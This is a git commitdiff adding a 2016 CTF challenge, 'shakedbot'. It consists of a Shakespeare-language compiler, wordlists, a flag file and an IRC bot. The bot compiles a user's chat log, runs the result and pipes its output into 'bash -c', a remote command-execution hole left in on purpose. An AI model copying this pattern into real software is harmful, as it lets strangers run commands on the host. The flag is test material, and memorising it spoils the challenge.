]> wolfpit.net Git - ctf/challenges/.git/commitdiff
added shakedbot + pwn master
authorVincent Dahmen <4dahmen@informatik.uni-hamburg.de>
Sun, 9 Oct 2016 07:54:30 +0000 (09:54 +0200)
committerVincent Dahmen <4dahmen@informatik.uni-hamburg.de>
Sun, 9 Oct 2016 07:54:30 +0000 (09:54 +0200)
37 files changed:
shakedbot/Spl/.splc.py.swp [new file with mode: 0644]
shakedbot/Spl/spl [new file with mode: 0644]
shakedbot/Spl/splc.py [new file with mode: 0644]
shakedbot/bot.py [new file with mode: 0644]
shakedbot/fbi_info [new file with mode: 0644]
shakedbot/flagDir/flag [new file with mode: 0644]
shakedbot/include/.positive_adjective.wordlist.swp [new file with mode: 0644]
shakedbot/include/article.wordlist [new file with mode: 0644]
shakedbot/include/be.wordlist [new file with mode: 0644]
shakedbot/include/character.wordlist [new file with mode: 0644]
shakedbot/include/first_person.wordlist [new file with mode: 0644]
shakedbot/include/first_person_possessive.wordlist [new file with mode: 0644]
shakedbot/include/first_person_reflexive.wordlist [new file with mode: 0644]
shakedbot/include/mathhelpers.h [new file with mode: 0644]
shakedbot/include/negative_adjective.wordlist [new file with mode: 0644]
shakedbot/include/negative_comparative.wordlist [new file with mode: 0644]
shakedbot/include/negative_noun.wordlist [new file with mode: 0644]
shakedbot/include/neutral_adjective.wordlist [new file with mode: 0644]
shakedbot/include/neutral_noun.wordlist [new file with mode: 0644]
shakedbot/include/nothing.wordlist [new file with mode: 0644]
shakedbot/include/positive_adjective.wordlist [new file with mode: 0644]
shakedbot/include/positive_comparative.wordlist [new file with mode: 0644]
shakedbot/include/positive_noun.wordlist [new file with mode: 0644]
shakedbot/include/roman_numbers.metaflex [new file with mode: 0644]
shakedbot/include/second_person.wordlist [new file with mode: 0644]
shakedbot/include/second_person_possessive.wordlist [new file with mode: 0644]
shakedbot/include/second_person_reflexive.wordlist [new file with mode: 0644]
shakedbot/include/terminals.metaflex [new file with mode: 0644]
shakedbot/include/third_person_possessive.wordlist [new file with mode: 0644]
shakedbot/include/user_code_bottom.metaflex [new file with mode: 0644]
shakedbot/include/user_code_top.metaflex [new file with mode: 0644]
shakedbot/make-spl-great-again.awk [new file with mode: 0644]
shakedbot/makeMexicanWall.py [new file with mode: 0644]
shakedbot/pwn/juliet.txt [new file with mode: 0644]
shakedbot/pwn/luvbot.py [new file with mode: 0644]
shakedbot/pwn/pwnBot.py [new file with mode: 0644]
shakedbot/pwn/romeo.txt [new file with mode: 0644]

diff --git a/shakedbot/Spl/.splc.py.swp b/shakedbot/Spl/.splc.py.swp
new file mode 100644 (file)
index 0000000..1e540d3
Binary files /dev/null and b/shakedbot/Spl/.splc.py.swp differ
diff --git a/shakedbot/Spl/spl b/shakedbot/Spl/spl
new file mode 100644 (file)
index 0000000..0f51168
--- /dev/null
@@ -0,0 +1,4 @@
+python splc.py $1 > a.out.spl.c
+if [ $? -eq 0 ]; then
+    gcc a.out.spl.c -lm
+fi
diff --git a/shakedbot/Spl/splc.py b/shakedbot/Spl/splc.py
new file mode 100644 (file)
index 0000000..af3fbef
--- /dev/null
@@ -0,0 +1,543 @@
+import sys
+import math
+
+"""
+A Shakespeare Compiler written in Python, splc.py
+This is a compiler that implements the majority of the Shakespeare programming language
+invented by Kalle Hasselstrom and Jon Aslund, I take no credit for inventing the language.
+This software is relased into the public domain
+(c) V1.2 Sam Donow 2013-2015
+sad3@williams.edu
+drsam94@gmail.com
+"""
+
+#missing features
+
+#full support for multi-word nouns/names
+#Stacks, who needs them?
+
+pos_adj    = []
+neg_adj    = []
+pos_comp   = []
+neg_comp   = []
+pos_nouns  = []
+neg_nouns  = []
+valid_names= []
+zero_nouns = ['nothing', 'zero']
+src        = ""
+N          = 0
+vartable   = set([])
+speaker    = ""
+target     = ""
+stage      = set([])
+actnum     = 0
+act_names  = {}
+scene_names= []
+
+#report a compile-time error, then exit
+def Assert(b, s):
+    global N
+    if not b:
+        sys.stderr.write(s + " at line " + str(N) + "\n")
+        sys.exit(1)
+
+#Abstraction for writing to file, eased python 2/3 agnosticity,
+#and will eventually allow file output instead of stdout if that
+#ever is desired
+def writeToFile(s):
+    sys.stdout.write(str(s) + "\n")
+
+def isNoun(word):
+    return word in pos_nouns or word in neg_nouns or word in zero_nouns
+
+def isAdjective(word):
+    return word in pos_adj or word in neg_adj
+
+def isComparative(word):
+    return word in pos_comp or word in neg_comp
+
+#returns 1 for "nice" and neutral nouns, -1 for nasty ones
+def nounValue(word):
+    Assert(isNoun(word), "Tried to find the nounvalue of a non-noun")
+    return 1 if word in pos_nouns else -1 if word in neg_nouns else 0
+
+#return s with all whitespace characters removed
+def trimWhitespace(s):
+    trimmed = ""
+    for c in s:
+        if c not in ['\t', '\r', '\n', ' ']:
+            trimmed += c
+    return trimmed
+
+#return s with all whitespace characters before the first non-whitedspace character removed
+def trimLeadingWhitespace(s):
+    trimIndex = 0
+    for c in s:
+        if c in ['\t', '\r', '\n', ' ']:
+            trimIndex +=1
+        else:
+            break
+    return s[trimIndex:]
+
+#A whitespace-agnositic beginswith method
+def beginsWithNoWhitespace(s, pattern):
+    return beginsWith(trimWhitespace(s), pattern)
+
+def beginsWith(s, pattern):
+    return s[:len(pattern)] == pattern
+
+def loadFileIntoList(filename, list):
+    f = open(filename, 'r')
+    for word in f.readlines():
+        list.append(word.split(" ")[-1][:-1])
+    f.close()
+
+#load initial noun and adjective lists
+def loadWordLists():
+    loadFileIntoList("include/neutral_adjective.wordlist" , pos_adj)
+    loadFileIntoList("include/positive_adjective.wordlist", pos_adj)
+    loadFileIntoList("include/negative_adjective.wordlist", neg_adj)
+    loadFileIntoList("include/positive_noun.wordlist", pos_nouns)
+    loadFileIntoList("include/neutral_noun.wordlist" , pos_nouns)
+    loadFileIntoList("include/negative_noun.wordlist", neg_nouns)
+    loadFileIntoList("include/positive_comparative.wordlist", pos_comp)
+    loadFileIntoList("include/positive_comparative.wordlist", neg_comp)
+    loadFileIntoList("include/character.wordlist", valid_names)
+
+roman_values = { 'M': 1000, 'D': 500, 'C': 1000, 'L': 50, 'X': 10, 'V': 5, 'I': 1 }
+def parseRomanNumeral(roman_string):
+    roman_string = roman_string.upper()
+    strindex = 0
+    roman_sum = 0
+    while strindex < len(roman_string) - 1:
+        if(roman_values[roman_string[strindex]] < roman_values[roman_string[strindex+1]]):
+            roman_sum -= roman_values[roman_string[strindex]]
+        else:
+            roman_sum += roman_values[roman_string[strindex]]
+        strindex += 1
+    return roman_sum + roman_values[roman_string[strindex]]
+
+def isNumber(s):
+    words = s.split(" ")
+    for word in words:
+        if isNoun(word):
+            return True
+    return False
+
+
+
+#parse a string that is supposed to evaluate to a number
+#if failOk is set to true, will return 0 for phrases that do not evaluate to a number
+def parseNum(s, failOk = False):
+    words = s.split(" ")
+    nounIndex = len(words)
+    for i in range(0,len(words)):
+        if isNoun(words[i]):
+            nounIndex = i
+            break
+    ok = nounIndex < len(words)
+    if not ok and failOk:
+        return 0
+    Assert (ok, str(words) + "\nExpected a number, but found no noun")
+    value = nounValue(words[nounIndex])
+    for word in words[:nounIndex]:
+        if isAdjective(word):
+            value *= 2
+    return value
+
+def parseEnterOrExit():
+    global stage
+    endBracket = src[N].find(']')
+    Assert(endBracket >= 0, "[ without matching ]")
+    enterOrExit = src[N][src[N].find('[')+1:src[N].find(']')]
+    if beginsWithNoWhitespace(enterOrExit, "Enter"):
+        names = enterOrExit[enterOrExit.find(" ") + 1:].split(" and ")
+        for namestr in names:
+            name = namestr.split(" ")[-1]
+            Assert(name in vartable, "Undeclared actor entering a scene")
+            stage.add(name)
+        Assert(len(stage) < 3, "Too many actors on stage")
+    elif beginsWithNoWhitespace(enterOrExit, "Exit"):
+        names = enterOrExit[enterOrExit.find(" ") + 1:].split(" and ")
+        for namestr in names:
+            name = namestr.split(" ")[-1]
+            Assert(name in stage, "Trying to make an actor who is not in the scene exit")
+            stage.remove(name)
+    elif beginsWithNoWhitespace(enterOrExit, "Exeunt"):
+        stage = set([])
+    else:
+        Assert(False, "Bracketed clause without Enter, Exit, or Exeunt")
+
+#returns the index of the leftmost punctuation mark in s
+def findPunctuation(s):
+    valids = []
+    for val in [s.find('.'), s.find('!'), s.find('?')]:
+        if val >= 0:
+            valids.append(val)
+    return -1 if len(valids) == 0 else min(valids)
+
+#returns an array of the punctuation-delimited statements at the current location in the parsing
+def getStatements():
+    global N
+    statements = []
+    line = trimLeadingWhitespace(src[N])
+    unfinished = False
+    while line.find(':') < 0 and line.find('[') < 0:
+        punctuation = findPunctuation(line)
+        if punctuation < 0:
+            if unfinished == False:
+                statements.append(line[:-1])
+            else:
+                statements[-1] += line[:-1]
+            N += 1
+            line = src[N]
+            unfinished = True
+        elif punctuation > 0:
+            if not unfinished:
+                statements.append("")
+            statements[-1] += line[:punctuation]
+            line = line[punctuation + 1:]
+            unfinished = False
+    retval = []
+    for stat in statements:
+        if len(trimWhitespace(stat)) > 0:
+            retval.append(stat)
+    return retval
+
+
+class Tree:
+    def __init__(self, v, l, r):
+        self.value = v
+        self.left  = l
+        self.right = r
+
+def wordToOperator(op):
+    if op == "sum":
+        return "+"
+    elif op == "difference":
+        return "-"
+    elif op == "quotient":
+        return "/"
+    elif op == "product":
+        return "*"
+    else:
+        Assert(False, "Illegal Operator")
+
+binop = ["sum", "difference", "quotient", "product"]
+unop  = ["square", "cube", "twice"]
+def buildExpressionTree(expr):
+    Assert (len(expr) > 0, "Ill-formed Expression in " + str(expr))
+    if expr[0] == "square":
+        if expr[1] == "root":
+            op = "(int)sqrt"
+            expr = expr[2:]
+            num, expr = buildExpressionTree(expr)
+            return Tree(op, num, ""), expr
+    elif expr[0] == "remainder":
+        if expr[1] == "of" and expr[2] == "the" and expr[3] == "quotient":
+            expr = expr[4:]
+            op = "%"
+            left, expr  = buildExpressionTree(expr)
+            right, expr = buildExpressionTree(expr)
+            return Tree(op, left, right), expr
+    if expr[0] in binop:
+        op = wordToOperator(expr[0])
+        expr  = expr[1:]
+        left, expr  = buildExpressionTree(expr)
+        right, expr = buildExpressionTree(expr)
+        return Tree(op, left, right), expr
+    elif expr[0] in unop:
+        op = expr[0]
+        expr = expr[1:]
+        num, expr = buildExpressionTree(expr)
+        return Tree(op, num, ""), expr
+
+    if True:
+        i = 1 if expr[0] == "and" else 0
+        numstr = ""
+        while expr[i] not in binop and expr[i] not in unop and expr[i] not in ["and", "remainder"]:
+            if expr[i] in ["you", "thee", "yourself", "thyself", "thou"]:
+                expr = expr[i + 1:]
+                return Tree(target, "", ""), expr
+            elif expr[i] in ["me", "myself", "i"]:
+                expr = expr[i + 1:]
+                return Tree(speaker, "", ""), expr
+            elif expr[i].capitalize() in vartable:
+                name = expr[i]
+                expr = expr[i + 1:]
+                return Tree(name.capitalize(), "", ""), expr
+            elif i == len(expr) - 1:
+                numstr += expr[i]
+                i = len(expr)
+                break
+            else:
+                numstr += expr[i] + " "
+                i += 1
+        if i == len(expr):
+            expr = []
+        else:
+            expr = expr[i:]
+        if not isNumber(numstr):
+            return buildExpressionTree(expr)
+        else:
+            return Tree(str(parseNum(numstr)), "", ""), expr
+
+def TreeToString(tree):
+    if tree.left == "":
+        #just a value
+        return str(tree.value)
+    elif tree.right == "":
+        #unary operator
+        return str(tree.value) + "(" + TreeToString(tree.left) + ")"
+    else:
+        #binary operator
+        return "(" + TreeToString(tree.left) + " " + str(tree.value) + " " + TreeToString(tree.right) + ")"
+
+def parseExpr(expr):
+    tree = buildExpressionTree(expr.split(" "))[0]
+    return TreeToString(tree)
+
+def concatWords(wordArray):
+    c = ""
+    for word in wordArray:
+        c += word
+    return c
+
+def firstWord(statment):
+    words = statement.split(" ")
+    for word in words:
+        if len(word) > 0:
+            return word
+
+def parseStatement(stat):
+    statement = trimLeadingWhitespace(stat).lower()
+    first = statement.split(" ")[0]
+    trimmed = trimWhitespace(statement)
+    if first in ["you", "thou"]:
+        #this is an assignment of the form Prounoun [as adj as] expression
+        expr = ""
+        if statement.rfind(" as ") >= 0:
+            expr = statement[statement.rfind(" as ") + 4:]
+        else:
+            expr = statement[len(first) + 1:]
+        return target + " = " + parseExpr(expr) + " ;\n"
+    elif trimmed == "openyourheart" or trimmed == "openthyheart":
+        #numerical output
+        return 'fprintf(stdout, "%d", ' + target + ');\n'
+    elif trimmed == "speakyourmind" or trimmed == "speakthymind":
+        #character output
+        return 'fprintf(stdout, "%c", (char)' + target + ');\n'
+    elif trimmed == "listentoyourheart" or trimmed == "listentothyheart":
+        #numerical input
+        return 'fgets(inputbuffer, BUFSIZ, stdin);\nsscanf(inputbuffer, "%d", &' + target + ');\n' #" = getchar() - '0';\n"
+    elif trimmed == "openyourmind" or trimmed == "openyourmind":
+        #character input
+        return target + " = getchar();\n"
+    elif first in ["am", "are", "art", "be", "is"]:
+        #questions - do not yet support "not"
+        left  = ""
+        kind  = ""
+        right = ""
+        if statement.find("as") >= 0:
+            left, kind, right = statement.split(" as ")
+            Assert(isAdjective(kind), "Ill-formed conditional in " + statement)
+            kind = "equal"
+        elif statement.find("more") >= 0:
+            words = statement.split(" ")
+            moreloc = 0
+            for i in range(0, len(words)):
+                if words[i] == "more":
+                    moreloc = i
+                    break
+            Assert(isAdjective(words[moreloc + 1]), "Ill-formed conditional in " + statement)
+            kind = "greater" if words[moreloc + 1] in pos_adj else "lesser"
+            left, right = statement.split(" more " + words[moreloc + 1] + " ")
+        else:
+            comp = ""
+            for word in statement.split(" "):
+                if isComparative(word):
+                    comp = word
+                    break
+            Assert(len(comp) > 0, "Ill-formed conditional in " + statement)
+            kind = "greater" if comp in pos_comp else "lesser"
+            left, right = statement.split(comp)
+        return "condition = (" + parseExpr(left) + ") " + (">" if kind == "greater" else "<" if kind == "lesser" else "==") + " (" + parseExpr(right) + ");\n"
+    elif beginsWith(statement, "if so,"):
+        #positive condition
+        location = statement.find("if so,")
+        return "if (condition) {\n " + parseStatement(statement[location + 7:]) + " }\n"
+    elif beginsWith(statement, "if not,"):
+        #negative condition
+        location = statement.find("if not,")
+        return "if (!condition) {\n " + parseStatement(statement[location + 8:]) + " }\n"
+    elif beginsWith(statement, "let us") or beginsWith(statement, "we shall") or beginsWith(statement, "we must"):
+        words = statement.split(" ")
+        nextTwo = words[2] + " " + words[3]
+        Assert (nextTwo == "return to" or nextTwo == "proceed to", "Ill-formed goto")
+        # classic goto with scene or act
+        if words[4] == "scene" or words[4] == "act":
+            typeword = words[4] if words[4] == "act" else ("act_" + str(actnum) + "_scene")
+            return "goto " + typeword + str(parseRomanNumeral(words[5])) + ";\n"
+        else:
+            restOfPhrase = concatWords(words[4:])
+            type_ = "scene" if restOfPhrase in scene_names[actnum].keys() \
+            else "act" if restOfPhrase in act_names.keys() else "none"
+            Assert (type_ != "none", "Goto refers to nonexistant act or scene")
+            nameDict = act_names if type_ == "act" else scene_names[actnum]
+            typeword = act if type_ == "act" else ("act_" + str(actnum) + "_scene")
+            return "goto " + typeword + str(nameDict[restOfPhrase]) + ";\n"
+    else:
+        return ""
+
+def writeScenes(scenes, isLast):
+    writeToFile("act" + str(actnum) + ": {\ngoto act_" + str(actnum) + "_scene1;\n}")
+    for j in range(0, len(scenes)):
+        writeToFile("act_" + str(actnum) + "_scene" + str(j + 1) + ": {")
+        writeToFile(scenes[j])
+        if j < len(scenes) - 1:
+            writeToFile("goto act_" + str(actnum) + "_scene" + str(j + 2) + ";\n")
+        elif not isLast:
+            writeToFile("goto act" + str(actnum + 1) + ";\n")
+        writeToFile("}")
+
+def handleDeclarations():
+    global N
+    global src
+    #variables, declaration syntax:
+    #Name, value
+    declarations = []
+    unfinished = False
+    while not beginsWithNoWhitespace(src[N], 'Act'):
+        Assert(N < len(src) - 1, "File contains no Acts")
+        if len(trimWhitespace(src[N])) > 0:
+            if not unfinished:
+                declarations.append(src[N])
+            else:
+                declarations[-1] += src[N]
+            unfinished = src[N].find('.') < 0
+        N += 1
+
+    for dec in declarations:
+        commaIndex = dec.find(',')
+        Assert(commaIndex > 0, "Improper declaration " + str(declarations))
+        wordsInName = trimLeadingWhitespace(dec[:commaIndex]).split(" ")
+        varname = wordsInName[-1]
+        value = parseNum(dec[commaIndex:-2], True)
+        writeToFile("int " + str(varname) + " = " + str(value) + ";")
+        Assert(varname in valid_names, "Non-Shakespearean variable name")
+        vartable.add(varname)
+
+def getActOrSceneNumber(s, actOrScene):
+    num = s[s.find(actOrScene):].split(" ")[1]
+    if num.find(':') > 0:
+        num = num[:num.find(':')]
+    else:
+        Assert (False, "Bad " + actOrScene + " heading")
+    return parseRomanNumeral(num)
+
+def getActOrSceneDescription(s):
+    desc = trimWhitespace(s[s.find(':')+1:]).lower()
+    p = findPunctuation(desc)
+    if p > 0:
+        desc = desc[:p]
+    return desc
+
+# Gets all the names of scenes and acts, and adds them to the respective tables
+# This must be done in a preprocessing step, in order to enable gotos to future acts/scenes
+def parseAllActAndSceneDescriptions():
+    global scene_names
+    global act_names
+    current_act = 0
+    current_scene = 0
+    scene_names = [{}]
+    for line in src:
+        if beginsWithNoWhitespace(line, "Act"):
+            desc = getActOrSceneDescription(line)
+            current_act += 1
+            act_names[desc] = current_act
+            scene_names.append(dict())
+            current_scene = 0
+        elif beginsWithNoWhitespace(line, "Scene"):
+            desc = getActOrSceneDescription(line)
+            current_scene += 1
+            scene_names[current_act][desc] = current_scene
+
+#-------------------------------Begin Main Program-------------------------#
+Assert(len(sys.argv) > 1, "No input file")
+filename = sys.argv[1]
+
+f = open(filename, 'r')
+src = f.readlines()
+f.close()
+
+loadWordLists()
+
+#parse the title - all the text up until the first .
+#title is unimportant and is thrown out
+
+while src[N].find('.') < 0:
+    N += 1
+N += 1
+#title is thrown out
+
+writeToFile("// " + filename + "\n" +
+"// compiled with splc.py (c) Sam Donow 2013-2015\n" +
+"#include <stdio.h>\n" +
+"#include <math.h>\n" +
+'#include "include/mathhelpers.h"\n' +
+"int condition = 0;\n" +
+"char inputbuffer[BUFSIZ];\n" +
+"int main() {\n")
+
+handleDeclarations()
+parseAllActAndSceneDescriptions()
+
+scenes = []
+unfinished = False
+while N < len(src):
+    if beginsWithNoWhitespace(src[N], 'Act'):
+        Assert (getActOrSceneNumber(src[N], 'Act') == actnum + 1, "Illegal Act numbering")
+        if actnum > 0:
+            writeScenes(scenes, False)
+            scenes = []
+        actnum += 1
+        #act_names[getActOrSceneDescription(src[N])] = actnum
+        N += 1
+    elif beginsWithNoWhitespace(src[N], 'Scene'):
+        Assert (getActOrSceneNumber(src[N], 'Scene') == len(scenes) + 1, "Illegal Scene numbering")
+        #scene_names[getActOrSceneDescription(src[N])] = len(scenes) + 1
+        N += 1
+        speaker = ""
+        target  = ""
+        while (N < len(src)) and not (beginsWithNoWhitespace(src[N], 'Scene') or beginsWithNoWhitespace(src[N], 'Act')):
+            if beginsWithNoWhitespace(src[N], '['):
+                parseEnterOrExit()
+                if not unfinished:
+                    scenes.append(";\n")
+                    unfinished = True
+                N += 1
+            elif src[N].find(':') >= 0:
+                name = (src[N][:src[N].find(':')]).split(" ")[-1]
+                Assert (name in stage, "An actor who is not on stage is trying to speak")
+                for actor in stage:
+                    if actor != name:
+                        target = actor
+                        speaker = name
+                N += 1
+                statements = getStatements()
+                scenecode = ""
+                for statement in statements:
+                    scenecode += parseStatement(statement)
+                if not unfinished:
+                    scenes.append(scenecode)
+                    unfinished = True
+                else:
+                    scenes[-1] += scenecode
+            else:
+                N += 1
+        unfinished = False
+
+    else:
+        N += 1
+writeScenes(scenes, True)
+writeToFile("}")
diff --git a/shakedbot/bot.py b/shakedbot/bot.py
new file mode 100644 (file)
index 0000000..42818b4
--- /dev/null
@@ -0,0 +1,207 @@
+#! /usr/bin/env python
+#
+# Example program using irc.bot.
+#
+# Joel Rosdahl <joel@rosdahl.net>
+
+"""A simple example bot.
+This is an example bot that uses the SingleServerIRCBot class from
+irc.bot.  The bot enters a channel and listens for commands in
+private messages and channel traffic.  Commands in channel messages
+are given by prefixing the text by the bot name followed by a colon.
+It also responds to DCC CHAT invitations and echos data sent in such
+sessions.
+The known commands are:
+    stats -- Prints some channel information.
+    disconnect -- Disconnect the bot.  The bot will try to reconnect
+                  after 60 seconds.
+    die -- Let the bot cease to exist.
+    dcc -- Let the bot invite you to a DCC CHAT connection.
+"""
+
+import irc.bot
+import irc.strings
+from irc.client import ip_numstr_to_quad, ip_quad_to_numstr
+import random, string, subprocess
+from makeMexicanWall import saveMerica
+
+def randomWord(length):
+       return "".join(random.choice(string.ascii_lowercase) for i in range(length))
+
+
+#setup ii
+class IIInstance():
+       def __init__(self, server, nick, port=6667, path="./irc/"):
+               args = ['/usr/bin/ii', '-s',server, '-n', nick, '-p',str(port), '-i', path]
+               self.h_ii = subprocess.Popen(args)
+               print("Connected to " + server + " as "  + nick + " via ii")
+               self.path = path + server + "/"
+
+       def isConnected(self):
+               return self.h_ii.poll() != ""
+
+       def joinChannel(self, channel):
+               if self.isConnected():
+                       fin = open(self.path + "in", 'w')
+                       fin.write("/j " + channel + "\n")
+                       fin.close()
+
+       def query(self, user, msg):
+               if self.isConnected():
+                       fin = open(self.path + "in" , 'w')
+                       fin.write("/j " + user + " " + msg)
+                       fin.close()
+
+       def leaveChannel(self, channel):
+               if self.isConnected():
+                       fin = open(self.path + "in", 'w')
+                       fin.write("/l " + channel + "\n")
+                       fin.close()
+       
+       def getLog(self, channel):
+               return self.path + "#" + channel[1:] + "/out"
+
+       def stop(self):
+               self.h_ii.terminate()
+
+
+class TestBot(irc.bot.SingleServerIRCBot):
+       def __init__(self, channel, nickname, server, port=6667):
+               #initilize empty user list
+               self.known_users = {}   
+
+               #Connect to irc-server 
+               irc.bot.SingleServerIRCBot.__init__(self, [(server, port)], nickname, nickname)
+               self.channel = channel
+               print("Connecting to " + channel + "@" + server + " as " + nickname)
+       
+               self.pii = IIInstance(server, randomWord(6)+"bot", port)
+
+       def on_nicknameinuse(self, c, e):
+               c.nick(c.get_nickname() + "_")
+
+       def on_welcome(self, c, e):
+               c.join(self.channel)
+
+       def on_privmsg(self, c, e):
+               #get user informations
+               nick = e.source.nick
+               msg = e.arguments[0]
+
+               if nick not in self.known_users:
+       
+                       # Greet the user in the right manner
+                       c.notice(nick, "I feel you float around me,")
+                       c.notice(nick, "Spirit, I summon to appear, speak to me!") 
+                       c.notice(nick, "Ah! What tears now at the core of me!" )
+                       c.notice(nick, "All my sensees reeling") 
+                       c.notice(nick, "With fresh feeling!" )
+                       c.notice(nick, "I feel you draw my whole heart towards you!")
+                       c.notice(nick, "You must! You must! Though my Life`s lost, too!")
+                       self.known_users[nick] = "pending"
+
+               elif self.known_users[nick] is "pending":
+                       if msg == "Who calls me?":
+                               c.notice(nick, "You shall pass!")
+                               
+                               #Connect to channel and wait
+                               channel = "#" + randomWord(16)
+                               self.pii.joinChannel(channel)
+                               c.notice(nick, "Find me at " + channel + " and you shall get your fish")
+                               self.known_users[nick] = channel
+                       else:
+                               c.notice(nick, "Terrible to gaze at!")
+
+               else :
+                       self.do_command(nick, msg)
+
+       def on_dccmsg(self, c, e):
+       # non-chat DCC messages are raw bytes; decode as text
+               text = e.arguments[0].decode('utf-8')
+               c.privmsg("You said: " + text)
+
+       def do_command(self, nick, msg):
+               c = self.connection
+        
+               if "help" in msg:
+                       c.notice(nick, "I will meet you at " + self.known_users[nick])
+                       c.notice(nick, "Let me know if its done our if should forget you ...")
+
+               elif "done" in msg:
+                       channelOut=self.pii.getLog(self.known_users[nick])
+                       channelPath = channelOut[:-3]
+
+                       #Convert IRC-Log to SPL-Source
+                       saveMerica(channelPath, nick)
+
+                       #Compile SPL-Source to C
+                       args = ["/usr/bin/python", "./Spl/splc.py", channelPath + nick+".spl"]
+                       fout = open (channelPath  + nick + ".c", 'w')
+                       process = subprocess.run(args, stdout=fout, stderr=subprocess.PIPE )
+                       fout.close()
+
+                       if process.stderr:
+                               c.notice(nick, "You know what grinds my wheels?")
+                               c.notice(nick, "   " + process.stderr.decode().replace("\r", "").replace("\n", " "))
+                               return
+                       else:
+                               c.notice(nick, "I hear your word ...")
+
+                       #Compile C
+                       args = ["/usr/bin/gcc", "-lm", "-I", ".", channelPath + nick + ".c", "-o", channelPath + nick + ".out"]
+                       process = subprocess.run(args, stderr=subprocess.PIPE)
+
+                       if not process.stderr:
+                               args = [channelPath + nick+ ".out"]
+                               try:
+                                       process = subprocess.run(args, stdout=subprocess.PIPE)
+                               except:
+                                       c.notice(nick, "What a mess ...")
+                       else:
+                               return
+                       c.notice(nick, "Your logic is fine")
+
+
+                       #Bash it
+                       try:
+                               args = ["/usr/bin/bash", "-c", process.stdout.decode()]
+                               process = subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=5, cwd="./flagDir")
+                               if process.stderr:
+                                       c.notice(nick, "You know grinds my wheels?")
+                                       c.notice(nick, "   " + process.stderr.decode().replace("\r", "").replace("\n", " "))
+                               else:
+                                       c.notice(nick, "Can you feel the joy, pumping thru your venes?")
+                                       c.notice(nick, process.stdout.decode().replace("\r", "").replace("\n", " "))
+
+                       except subprocess.TimeoutExpired:
+                               c.notice(nick, "I cannot wait much longer ...")
+                       except:
+                               c.notice(nick, "No thats wrong ...")
+                       
+                       print("... done\n")
+
+               elif "forget" in msg:
+                       args = ["rm", "-rf", self.pii.getLog(self.known_users[nick])]
+                       self.pii.leaveChannel(self.known_users[nick])
+                       del(self.known_users[nick])
+                       c.notice(nick, "Do I know you, fellow pale?")
+                       subprocess.run(args)
+               else:
+                       c.notice(nick, "Forgive me! But I heard you declaim:")
+                       c.notice(nick, "Reading. I'm sure from some Greek tragedy?")
+
+
+
+def main():
+       global debugOut 
+       debugOut = True
+       server = "localhost" #"irc.hackint.org"
+       port = 6642
+       channel = "#testchannel" 
+       nickname = "shakedbot" 
+        
+       bot = TestBot(channel, nickname, server, port)
+       bot.start()
+
+if __name__ == "__main__":
+       main()
diff --git a/shakedbot/fbi_info b/shakedbot/fbi_info
new file mode 100644 (file)
index 0000000..f35524b
--- /dev/null
@@ -0,0 +1,10 @@
+, an evil Kung-Fu maschine build by King John.
+, a guy on the street.
+, he was bitten by a snake and stroke by a lightning.
+, the best partner ever.
+, the best h4x0r of all time.
+, the worst criminal of all time.
+, the ssssspirit animal.
+, she is a killer maschine.
+, you dont hassle him.
+, a frienldy Helper.
diff --git a/shakedbot/flagDir/flag b/shakedbot/flagDir/flag
new file mode 100644 (file)
index 0000000..e21514b
--- /dev/null
@@ -0,0 +1 @@
+hackover2016{JUHU_FLAG_loooJUHU_FLAG_loooll}
diff --git a/shakedbot/include/.positive_adjective.wordlist.swp b/shakedbot/include/.positive_adjective.wordlist.swp
new file mode 100644 (file)
index 0000000..5287ddd
Binary files /dev/null and b/shakedbot/include/.positive_adjective.wordlist.swp differ
diff --git a/shakedbot/include/article.wordlist b/shakedbot/include/article.wordlist
new file mode 100644 (file)
index 0000000..954fd83
--- /dev/null
@@ -0,0 +1,3 @@
+a
+an
+the
diff --git a/shakedbot/include/be.wordlist b/shakedbot/include/be.wordlist
new file mode 100644 (file)
index 0000000..9d02825
--- /dev/null
@@ -0,0 +1,5 @@
+am
+are
+art
+be
+is
diff --git a/shakedbot/include/character.wordlist b/shakedbot/include/character.wordlist
new file mode 100644 (file)
index 0000000..58ddb98
--- /dev/null
@@ -0,0 +1,154 @@
+Achilles
+Adonis
+Adriana
+Aegeon
+Aemilia
+Agamemnon
+Agrippa
+Ajax
+Alexander
+Alonso
+Andromache
+Angelo
+Antiochus
+Antonio
+Arthur
+Autolycus
+Balthazar
+Banquo
+Beatrice
+Benedick
+Benvolio
+Bianca
+Brabantio
+Brutus
+Capulet
+Cassandra
+Cassius
+Christopher Sly
+Cicero
+Claudio
+Claudius
+Cleopatra
+Cordelia
+Cornelius
+Cressida
+Cymberline
+Demetrius
+Desdemona
+Dionyza
+Doctor Caius
+Dogberry
+Don John
+Don Pedro
+Donalbain
+Dorcas
+Duncan
+Egeus
+Emilia
+Escalus
+Falstaff
+Fenton
+Ferdinand
+Ford
+Fortinbras
+Francisca
+Friar John
+Friar Laurence
+Gertrude
+Goneril
+Hamlet
+Hecate
+Hector
+Helen
+Helena
+Hermia
+Hermonie
+Hippolyta
+Horatio
+Imogen
+Isabella
+John of Gaunt
+John of Lancaster
+Julia
+Juliet
+Julius Caesar
+King Henry
+King John
+King Lear
+King Richard
+Lady Capulet
+Lady Macbeth
+Lady Macduff
+Lady Montague
+Lennox
+Leonato
+Luciana
+Lucio
+Lychorida
+Lysander
+Macbeth
+Macduff
+Malcolm
+Mariana
+Mark Antony
+Mercutio
+Miranda
+Mistress Ford
+Mistress Overdone
+Mistress Page
+Montague
+Mopsa
+Oberon
+Octavia
+Octavius Caesar
+Olivia
+Ophelia
+Orlando
+Orsino
+Othello
+Page
+Pandarus
+Pantino
+Paris
+Pericles
+Pinch
+Polonius
+Pompeius
+Portia
+Priam
+Prince Henry
+Prospero
+Proteus
+Publius
+Puck
+Queen Elinor
+Regan
+Robin
+Romeo
+Rosalind
+Sebastian
+Shallow
+Shylock
+Slender
+Solinus
+Stephano
+Thaisa
+The Abbot of Westminster
+The Apothecary
+The Archbishop of Canterbury
+The Duke of Milan
+The Duke of Venice
+The Ghost
+Theseus
+Thurio
+Timon
+Titania
+Titus
+Troilus
+Tybalt
+Ulysses
+Valentine
+Venus
+Vincentio
+Viola
diff --git a/shakedbot/include/first_person.wordlist b/shakedbot/include/first_person.wordlist
new file mode 100644 (file)
index 0000000..00e847b
--- /dev/null
@@ -0,0 +1,2 @@
+I
+me
diff --git a/shakedbot/include/first_person_possessive.wordlist b/shakedbot/include/first_person_possessive.wordlist
new file mode 100644 (file)
index 0000000..2387825
--- /dev/null
@@ -0,0 +1,2 @@
+mine
+my
